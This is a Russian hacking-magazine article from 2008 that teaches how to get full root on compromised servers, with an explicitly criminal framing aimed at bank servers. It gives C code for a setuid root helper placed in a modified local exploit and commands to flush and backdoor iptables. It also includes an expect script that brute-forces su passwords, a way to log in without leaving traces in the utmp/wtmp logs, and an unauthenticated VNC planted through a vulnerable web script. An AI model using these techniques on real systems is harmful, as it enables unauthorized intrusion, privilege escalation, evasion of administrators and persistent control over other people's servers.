Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #112, АПРЕЛЬ 2008 г.

Локальное покорение

Master-lame-master

Хакер, номер #112, стр. 112-076-1

Пять трюков бывалого хакера

Хакеры бывают разными. Одни охотятся только за элитными банковскими серверами с целью слива ценной базы данных и, как следствие, пополнения собственного кошелька. Другие бесцельно дрейфуют в Cети, пытаясь зацепить липким щупальцем своего web-сканера одинокий сервак с бажными скриптами. А третьи – хакеры из высшей касты – ломают ради собственного удовольствия, всегда доводя дело до конца. Их цель – получить полный root, несмотря на ухищрения злых админов, которые полагают, что знают о безопасности практически все...

Порой даже у опытных взломщиков возникают серьезные задачи, к которым, как кажется на первый взгляд, не существует успешных подходов. Но если посмотреть под другим углом, решение быстро подбирается, и система отдается хакеру, как любимая девушка. Сегодня я решил познакомить тебя с подобными якобы «клиническими» случаями, сталкиваясь с которыми, многие хакеры (особенно с небольшим стажем) беспомощно опускают руки. Сегодня я оглашу некоторые хакерские приемы, позволяющие взять полный контроль над системой, когда она защищена непробивным файерволом. Пользуясь этими трюками, мне несколько лет удавалось успешно обходить самые изощренные защиты. Пришло время поделиться приватом и с тобой. Устраивайся поудобнее, беседа будет долгой.

Трюк №1 – закрытые порты

Сейчас ты вряд ли найдешь лакомый сервер с открытыми системными портами. Если говорить о банковских ресурсах, то их админы фильтруют все и вся, опасаясь хакерских атак. На проверку оказывается, что на подобных «критически важных» серваках открытыми оставляют лишь 80 и 443 порты. Все остальное, будь то SSH, IMAP и, разумеется, MySQL – наглухо забито файерволом. Это работает отнюдь не в пользу хакера. Дело в том, что у взломщика в подобном случае есть два пути:

1. Сканировать сегмент, в котором находится интересующий его сервер. При сканировании он может найти машинку с открытыми системными портами, внедряясь в которые, получает дополнительные привилегии и, самое главное, возможность управления серверами изнутри, из недр локальной сети. Но на моей практике такая удача случается редко.

2. Анализировать содержимое Web-сайта. Как известно, даже грамотные программеры часто допускают баги в своих движках, оставляя нефильтрованной либо входные переменные, либо скрипты, некорректно выполняющие открытие файлов. Ситуацию усугубляют админы, выкладывающие на публику (ради теста или понтов) сырые сценарии и даже рабочие конфиги. Всем этим пользуется хакер, сканируя Web на известные бажные скрипты, SQL-инъекции и пр.

Предположим, что хакер уже заполучил гостевые права в системе и желает продолжить ее покорение, имея на руках локальный эксплойт. На этом этапе он встречает первый облом в виде жесткого фильтра всех входящих и исходящих соединений. Даже обладая возможностью выполнять команды через Web, взломщик никак не сможет намутить консоль (я не беру во внимание всякие web-шеллы – это все детские шалости). В ряде случаев ему таки удастся запустить backconnect-скрипт на нефильтруемый порт, но что если администратор зафильтровал и исходящие соединения, кроме тех, что действительно необходимы? В то же время, что мешает хакеру снять эти фильтры? Правильно, тоже ничего! И сейчас я покажу, как.

Прежде чем заливать эксплойт на сервак, необходимо открыть его и найти в коде строку, выполняющую /bin/sh. Обычно этот блок кода начинается с процедуры getuid(0) либо с execl(SHELLCODE). Следует найти его и заменить команду запуска шелла следующей строкой:

system("chmod 4755 /tmp/evil");

А затем создать evil.c с нехитрым содержанием

int main() {

getuid(0);

getgid(0);

file=fopen("/tmp/cmd",r);

cmd=fgets(file);

fclose(file);

system(cmd);

}

Далее хакер заливает его на сервер в /tmp и компилирует в бинарный файл /tmp/evil. Теперь, после успешного запуска эксплойта на том же сервере, у него будет полноценный рутовый шелл, выполняющий любую команду, прописанную в файле /tmp/cmd. Почему нельзя было прописать команду в самом теле эксплойта? А потому, что некоторые сплойты могут брать локальные привилегии всего один раз (яркий тому пример – эксплойт ядерной функции do_brk).

Дальнейший алгоритм очень прост: он эксплуатирует ядро, получая взамен суидный /tmp/evil, записывает в /tmp/cmd строчку «iptables –t nat –nvL», а затем, ознакомившись с правилами, сбрасывает их запросом «iptables –F». Ну а после этого уже ничего не мешает приконнектиться к шеллу напрямую (либо используя backconnect-скрипт). Финал взлома – бэкдоринг iptables с сокрытием собственных правил или написание суидного PHP-шелла (здесь все по желанию :)).

Бинарное эксплуатирование

Часто бывает, что 0day-эксплойт поставляется в бинарном виде. А это значит, что поправить его код не удастся. Могу предложить следующий проверенный способ: в 99% случаев сплойт вызывает «/bin/sh», обращаясь непосредственно к бинарнику. Поступим так – наколбасим сишный скрипт для специального запуска эксплойта:

#!/bin/sh

alias "/bin/sh" "chmod 4755 /tmp/evil"

Тем самым, взломщик обойдет запуск шелла, вместо этого выполнив заветную команду.

Трюк №2 – игры с псевдотерминалом

Случается, что каким-то образом злоумышленник добывает рутовый пароль, но не в силах сменить привилегии из-за отсутствия поддержки псевдотерминала. Другими словами, набрав в «сыром» консольном шелле команду su, он получит примерно такой ответ:

standard in must be a tty

Это означает, что текущая сессия не привязана к псевдотерминалу (виртуальный файл находится в /dev/pts). Доказательством тому служит ответ команды tty:

tty: not a tty

Для решения проблемы можно воспользоваться командой ssh вместо su. Просто соединись с тем же хостом по ssh, но уже в интерактивном режиме, используя ключик –T:

ssh –T root@localhost

Password:

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh

Далее можно выполнять любые рутовые команды, открывать фильтрованные порты, бэкдорить систему, но без поддержки псевдотерминала. К тому же, не факт, что рута пустит напрямую по ssh (об этом расскажет переменная «AllowUsers» в /etc/ssh/sshd_config).

Чтобы обрести полноценную консоль, необходимо воспользоваться готовым средством эмуляции tty – ttyX. Внутри архива находятся два файла – Zatron и Jerky. Первый открывает сокет с поддержкой терминала, а второй просто с ним соединяется. Поддержка псевдотерминала мутится тремя командами:

tar zxf ttyX.tar.gz

./Zatron

./Jerky localhost

Теперь у взломщика имеется шелл с полной поддержкой псевдотерминала. Enjoy!

Трюк №3 – локальный брутфорс

Порой для получения рута приходится прибегать к суровому методу, а именно – брутфорсу. Имея в распоряжении шелл с правами nobody, логично перебирать пароли локально. Через ssh –T или su. Во втором случае процесс будет идти вяло, так как в новых системах при неправильном пароле существует задержка в 3 секунды. Но в тупиковой ситуации иного выхода не остается.

Камнем преткновения в этой ситуации является факт отсутствия псевдотерминала – все скрипты-брутфорсеры идут лесом. Выход – использовать expect, в сценариях которого уже включена поддержка псевдотерминала. Если в системе нет expect – нужно поставить его самостоятельно (смотри врезку, так как без рутовых прав установить expect непросто). Когда проблема с установкой будет решена, хакер колбасит скрипт brute.exp, реализующий брутфорс через su.

set fpassword [open /tmp/pass r]; # открываем файл /tmp/pass, в котором лежат пароли для перебора

while { [ gets $fpassword password ] >=0 } # по каждому паролю

{

spawn /bin/su # запускаем su

expect "assword"

send "$password\r\n" # шлем пароль на запрос

expect {

"orry" { break }

"" { exec "echo $password > /tmp/success" }

}

}

close $fpassword; # Закрываем файл

}

А затем он запускает скрипт командой «expect brute.exp &» и ждет, пока в /tmp/success не окажется правильного пароля.

Этот прием также используется, когда, руководствуясь вторым трюком, не получилось намутить псевдотерминал. Как заточить сценарий под этот случай – сообразишь самостоятельно.

Трюк №4 – безопасный вход

Иногда возникает необходимость зайти на сервер, не потревожив покой тамошних администраторов. Конечно, хакер может просто накрыться проксиком и законнектиться через ssh, но даже тогда в журналах utmp и wtmp осядут компрометирующие строки, которые легко могут быть просмотрены командой last. Мало кто знает, что существует метод соединения без палева в логах (созданный, будто специально для хакерских целей). Если использовать вышеупомянутую команду «ssh –T», можно получить наилучший результат. В PuTTY данная установка выполняется на вкладке SSH -> TTY (Don’t allocate a pseudo-terminal).

Трюк №5 – визуальный Windows

Помимо линуксовых, особый интерес представляют виндовые серверы. Хотя бы потому, что порой Windows-сервер является единственной лазейкой в корпоративную сеть. Но юзать сырые виндовые команды даже в привилегированной командной строке «не прет». Может быть, поэтому сервера на Windows ломаются гораздо реже, чем *nix-like платформы.

Но это все лирика. Давай конструктивно подойдем к вопросу: как запустить полноценную визуализацию для комфортного управления. Здесь есть несколько вариантов:

1. Воспользоваться запущенным сервисом терминалов (порт 3389) либо VNC (порт 5800), предварительно просканив хост на указанные порты. Естественно, если хакер не знает пароль администратора или аккаунт юзера, входящего в домен, этот способ для него неприменим.

2. Удаленно запустить «Службу терминалов» командой «net start Служба терминалов» (или аналогичное английское название). Если есть достаточные права, сервис успешно запустится. Но в случае отсутствия необходимых привилегий или, наоборот, наличия файервола, фильтрующего порт 3389, финт не пройдет.

3. Воспользоваться удаленно установленным VNC. Для этого нужно скачать полный дистрибутив под Винду (www.realvnc.com/products/download.html), установить его к себе на компьютер и изъять из комплекта два файла: winvnc4.exe и vncviewer.exe. После этого можно смело удалять VNC с домашней тачки (для твоего удобства я выложил на DVD как полный дистрибутив, так и отдельные его файлы). Далее, юзая бажный Web-скрипт, следует залить winvnc4.exe на сервер (например, используя тривиальный FTP-сценарий, находящийся на DVD) и запустить его с особыми параметрами:

bug.asp?id=winvnc4.exe Password=BINARY

Или:

bug.asp?id=winwnc4.exe SecurityTypes=none

В первом случае, VNC запустится с парольной защитой, заданной в бинарном преображении. Во втором – без всякого запроса пароля. Если хакерская цель ¬¬– заиметь виндовый дедик на короткий срок и для определенной цели, этот прием будет самым оптимальным.

После запуска можно смело обращаться к vncviewer.exe и указывать ему нужный IP-адрес. Либо залезть на сервак прямо через Web на порт 5800, откуда запустится клиентский Java-апплет. Теперь хакер может без особых забот повышать свои права, загружать на сервер боевых ботов или просто наслаждаться удаленным управлением Windows.

Король серверов

Я надеюсь, что данные трюки прольют свет на тему локального порабощения крупных серверов. Быть может, в твоей хакерской копилке уже есть сервер, ожидающий решения с помощью одного из представленных трюков. А если даже и нет, то будь уверен – сервера появятся, нужно только немного терпения :). И не забывай о законе – к сожалению, он не на твоей стороне!

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

DVD

Псевдоэмулятор ttyx и VNC я любезно выложил на нашем DVD. Пользуйся!

Содержание